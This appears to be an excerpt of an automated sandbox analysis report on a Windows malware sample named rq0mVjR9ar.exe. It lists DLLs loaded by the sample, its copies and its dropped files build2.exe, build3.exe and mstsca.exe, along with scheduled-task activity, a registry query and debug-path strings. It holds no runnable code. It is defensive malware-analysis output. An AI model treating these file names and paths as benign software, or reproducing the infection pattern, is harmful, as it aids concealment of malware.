Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: rq0mVjR9ar.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\n\\KR source: rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: rq0mVjR9ar.exe, 00000006.00000003.2522371070.0000000003147000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511797013.0000000003136000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2603881098.00000000038CA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603013015.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\o source: rq0mVjR9ar.exe, 00000006.00000003.2489732570.0000000003400000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489312969.00000000033F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tion Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\o source: rq0mVjR9ar.exe, 00000006.00000003.2490372024.0000000003403000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2490317723.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003799000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575989541.0000000003792000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575720843.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003799000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541058577.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575989541.0000000003792000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575720843.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2510778480.000000000349F000.00000004.00000020.00020000.00000000.sdmp
